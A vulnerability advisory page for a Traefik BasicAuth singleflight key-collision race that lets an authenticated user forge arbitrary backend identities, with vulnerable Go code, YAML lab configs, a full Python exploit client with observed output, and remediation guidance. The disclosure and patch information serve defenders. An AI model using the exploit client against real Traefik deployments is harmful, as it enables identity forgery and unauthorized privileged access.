Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network vector, high complexity due to race timing and hash acquisition prerequisite; low privilege (valid account required); scope changed as backend receives forged trusted identity; no availability impact.
Primary rating from Vendor (https://github.com/traefik/traefik).
CVSS VectorVendor: https://github.com/traefik/traefik
Lifecycle Timeline
3DescriptionCVE.org
Summary
There is a low severity vulnerability in Traefik's BasicAuth middleware. Concurrent password verifications are deduplicated through a singleflight group whose key was the delimiter-free concatenation of the submitted password and the stored secret, so a request carrying an unconfigured username - whose secret is empty - can produce the same key as a configured user's valid request and receive that request's successful result. Exploitation requires the attacker to already hold a valid credential and to read the stored password hash, which is only reachable through paths that are themselves privileged: the API is documented as admin-only, the Kubernetes path requires read access to the Secret, and the Docker path requires access to the socket. The key now encodes the password length as a prefix, so distinct (password, secret) pairs can no longer collide. Only the v3.6 line from v3.6.11 onwards and the v3.7 line are affected; earlier v3 releases and the v2 line do not carry the vulnerable deduplication path.
Patches
- https://github.com/traefik/traefik/releases/tag/v3.6.25
- https://github.com/traefik/traefik/releases/tag/v3.7.10
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary
Traefik's BasicAuth middleware deduplicates concurrent password checks with a singleflight.Group. Its key is the delimiter-free concatenation password + secret. For an existing user with password P and stored hash H, the key is P || H. An unknown user can select the password P || H; because its secret is the empty string, its key is also P || H.
If the existing user's request starts the shared calculation, the unknown user receives the existing user's successful Boolean result. Traefik then continues processing the unknown user's original request and propagates the attacker-selected username through URL.User, the access log, and the configured BasicAuth headerField.
A user who knows one valid username/password/hash tuple can therefore authenticate concurrently under any unconfigured username. This becomes a privilege escalation when a backend uses the BasicAuth headerField as a trusted identity, which is the documented purpose of that option.
Details
The vulnerable logic is in pkg/middlewares/auth/basic_auth.go:118-131:
func (b *basicAuth) checkPassword(user, password string) bool {
secret := b.auth.Secrets(user, b.auth.Realm)
key := password + secret
match, _, _ := b.singleflightGroup.Do(key, func() (any, error) {
if secret == "" {
_ = b.checkSecret(password, b.notFoundSecret)
return false, nil
}
return b.checkSecret(password, secret), nil
})
return match.(bool)
}For a configured user viewer:
password = P
secret = H
key = P || H
result = trueFor an unconfigured user admin:
password = P || H
secret = ""
key = (P || H) || "" = P || Hsingleflight.Group.Do shares the first in-flight result for equal keys. If the configured user's check is first, the unknown user's closure is not run and the unknown request receives true.
The authorization result is not bound to the username. After the shared result is accepted, ServeHTTP uses the username parsed from the unknown request:
req.URL.User = url.User(user)
if b.headerField != "" {
req.Header.Del(b.headerField)
req.Header[b.headerField] = []string{user}
}Consequently, the backend sees the attacker-selected admin identity, not the valid request's viewer identity.
Attack prerequisites
The attacker needs:
- network access to a route protected by the affected BasicAuth middleware;
- one valid low-privilege username and password;
- the corresponding stored password hash.
The hash is often present in deployment labels or routing configuration. Traefik's API is also a direct source when the attacker can access it: GET /api/http/middlewares/{id} serializes basicAuth.users, including the hash, despite the field carrying loggable:"false". The official v3.7.8 binary returned the hash in the validation environment.
The attacker does not need another user's password or a victim-generated request. The attacker creates both concurrent requests: one with their valid credentials and one with an arbitrary, unconfigured target username.
Security impact
When headerField is configured, an authenticated low-privilege user can impersonate an arbitrary identity to the backend. Depending on downstream authorization, this can allow:
- access to administrative data;
- execution of privileged state-changing operations;
- corruption of audit attribution;
- bypass of identity-based tenant or role separation.
Without headerField, the unknown request is still admitted through the BasicAuth middleware. The practical consequence then depends on whether the protected route treats all authenticated users equally.
Proof of Concept
Validation environment
- Official Traefik v3.7.8 Linux amd64 release.
- Build timestamp:
2026-07-15T12:42:25Z. - Go version in the release:
go1.26.5. - Archive SHA-256:
dbd809b1de85d86d0718c80bedbaabd9aebaa3c6697f9e986ab5f387f4196cb7.
- The checksum matched the official
traefik_v3.7.8_checksums.txt release asset.
- No Traefik source files were modified.
Dynamic configuration
The bcrypt hash below is for password test and uses cost 12:
http:
routers:
app:
entryPoints:
- web
rule: PathPrefix(`/`)
middlewares:
- auth
service: backend
middlewares:
auth:
basicAuth:
headerField: X-WebAuth-User
removeHeader: true
users:
- 'viewer:$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u.'
services:
backend:
loadBalancer:
servers:
- url: http://127.0.0.1:19090Save it as dynamic.yml. Use this install configuration as static.yml:
global:
checkNewVersion: false
sendAnonymousUsage: false
api:
insecure: true
entryPoints:
web:
address: 127.0.0.1:18080
providers:
file:
filename: /absolute/path/to/dynamic.yml
watch: falseThe API is enabled only to demonstrate that the runtime representation exposes the configured hash. It is not needed if the tester already knows the hash from the configuration.
Use this backend as backend.py; it responds with the identity Traefik puts in the trusted header:
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
body = (self.headers.get("X-WebAuth-User", "") + "\n").encode()
self.send_response(200)
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, *args):
pass
ThreadingHTTPServer(("127.0.0.1", 19090), Handler).serve_forever()Start the backend and Traefik in separate shells.
Shell 1:
python3 backend.pyShell 2:
./traefik --configFile=/absolute/path/to/static.ymlExploit client
import base64
import http.client
import json
import threading
import time
import urllib.request
HOST = "127.0.0.1"
PORT = 18080
PASSWORD = "test"
HASH = "$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u."
def request(user, password):
conn = http.client.HTTPConnection(HOST, PORT, timeout=5)
token = base64.b64encode(f"{user}:{password}".encode()).decode()
conn.request("GET", "/", headers={"Authorization": f"Basic {token}"})
response = conn.getresponse()
body = response.read().decode().strip()
status = response.status
conn.close()
return status, body
middleware = json.load(
urllib.request.urlopen(
"http://127.0.0.1:8080/api/http/middlewares/auth%40file"
)
)
print("api_users", middleware["basicAuth"]["users"])
print("valid_baseline", request("viewer", PASSWORD))
print("attacker_baseline", request("admin", PASSWORD + HASH))
wins = 0
for _ in range(25):
valid_result = {}
valid = threading.Thread(
target=lambda: valid_result.setdefault(
"result", request("viewer", PASSWORD)
)
)
valid.start()
time.sleep(0.005)
attack = request("admin", PASSWORD + HASH)
valid.join()
if attack == (200, "admin"):
wins += 1
print("forged_admin_successes", wins, "of", 25)Observed output
api_users ['viewer:$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u.']
valid_baseline (200, 'viewer')
attacker_baseline (401, '401 Unauthorized')
forged_admin_successes 25 of 25The negative control proves that admin is not configured and cannot authenticate alone. During the collision, all 25 requests were admitted and the backend received the forged identity admin.
The same behavior was first reproduced with Apache MD5. Its much shorter hash calculation window yielded 2 successful identity forgeries in 100 attempts. Using normal production-strength bcrypt made the race deterministic in this environment because the expensive comparison remains in flight long enough for the second request to join it.
Impact
An attacker with read access to a configured password hash and the ability to send concurrent requests can authenticate as an unconfigured username. When headerField is enabled, the attacker-selected username is forwarded to the backend as a trusted authenticated identity, enabling privilege impersonation, unauthorized data access, unauthorized actions, and incorrect security audit attribution. Without headerField, the request still bypasses BasicAuth and reaches the protected service.
</details>
---
AnalysisAI
Traefik's BasicAuth middleware in versions 3.6.11-3.6.24 and 3.7.0-3.7.9 permits an authenticated low-privilege user to forge arbitrary backend identities via a singleflight key collision race condition. By concatenating their known valid password with a retrieved stored bcrypt hash, an attacker crafts a singleflight deduplication key identical to a legitimate in-flight request's key; the middleware returns the legitimate request's successful authentication result to the attacker's request, then propagates the attacker's chosen unconfigured username to the backend as a trusted identity. A fully working proof-of-concept achieving 25-of-25 successful identity forgeries under default bcrypt cost is publicly available in the GitHub security advisory; no CISA KEV listing has been identified at time of analysis.
Technical ContextAI
Traefik is a cloud-native reverse proxy written in Go, commonly deployed as an ingress controller in Kubernetes and as a Docker-aware edge router. Its BasicAuth middleware uses Go's singleflight package (golang.org/x/sync/singleflight) to deduplicate concurrent expensive bcrypt password checks, preventing thundering-herd amplification. The deduplication key was constructed as the bare string concatenation password+secret, where secret is the stored hash returned by b.auth.Secrets(user, realm). For any unconfigured username, Secrets() returns an empty string, collapsing the key to just the submitted password. An attacker knowing a valid user's password P and stored hash H submits P||H as their password under an unconfigured username; since their secret is empty, their key (P||H)+'' equals the legitimate user's key P+H exactly. Go's singleflight.Group.Do shares the first in-flight result for equal keys without re-running the closure, so the attacker's goroutine receives the legitimate user's true return value. ServeHTTP then sets req.URL.User and the configured headerField using the attacker's chosen username, not the legitimate one. The root cause maps to CWE-287 (Improper Authentication): the authentication decision for one principal is incorrectly reused for a distinct principal. The patch in commit b5ace8eb prefixes the key with the password length as strconv.Itoa(len(password))+':'+password+secret, making the encoding injective so distinct (password, secret) pairs can never share a key. Affected CPEs cover go/github.com/traefik/traefik/v3 for both the v3.6 and v3.7 package lineages.
RemediationAI
Upgrade to Traefik v3.6.25 (for the v3.6 line) or v3.7.10 (for the v3.7 line), available at https://github.com/traefik/traefik/releases/tag/v3.6.25 and https://github.com/traefik/traefik/releases/tag/v3.7.10 respectively. The fix is a one-line key-encoding change in pkg/middlewares/auth/basic_auth.go (PR #13572, commit b5ace8eb) that prefixes the singleflight key with the password length, making collisions impossible. If immediate upgrade is not feasible, restrict access to the Traefik API endpoint (disable insecure API mode or enforce API authentication) to deny attackers the primary hash exfiltration path; note this does not eliminate the Kubernetes Secret or Docker socket exfiltration vectors, which require RBAC controls and socket permission hardening respectively. As a compensating control, disabling the BasicAuth headerField option removes the privilege-escalation impact (identity forgery to the backend), though the authentication bypass - where the unknown user still passes the middleware - would remain. Disabling concurrency at the load balancer layer (serial request processing) would also prevent the race but is operationally impractical. Deployments on v3.6.0 through v3.6.10 or any v2 release require no action for this specific vulnerability.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Same weakness CWE-287 – Improper Authentication
View allSame technique Authentication Bypass
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-54297
GHSA-6765-c87h-8mrf